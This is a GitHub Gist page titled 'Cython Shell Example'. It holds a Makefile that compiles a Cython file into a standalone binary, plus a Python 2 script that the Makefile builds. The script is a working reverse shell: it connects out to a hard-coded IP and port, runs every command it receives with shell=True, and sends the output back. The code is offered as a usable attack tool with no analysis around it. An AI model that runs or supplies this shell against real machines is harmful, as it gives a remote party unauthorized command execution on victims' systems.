Last active
January 15, 2023 09:44
-
-
Save averagesecurityguy/7da3d75f961c8d9d9059 to your computer and use it in GitHub Desktop.
Cython Shell Example
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
CC=gcc | |
INCLUDE=/System/Library/Frameworks/Python.framework/Versions/2.7/include/python2.7 | |
LINK=python2.7 | |
FILE=shell | |
$(FILE): $(FILE).c | |
$(CC) $(FILE).c -I$(INCLUDE) -l$(LINK) -o $(FILE) | |
$(FILE).c: | |
cython --embed $(FILE).pyx | |
clean: | |
rm -f $(FILE).c | |
rm -f $(FILE) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import subprocess | |
import socket | |
HOST = '10.230.229.27' | |
PORT = '4445' | |
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
sock.connect((HOST, int(PORT))) | |
sock.send("[*] Connection recieved.") | |
while True: | |
data = sock.recv(1024).strip() | |
if data == 'quit': break | |
proc = subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, | |
stdout=subprocess.PIPE, stderr=subprocess.STDOUT) | |
sock.send(proc.stdout.read()) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment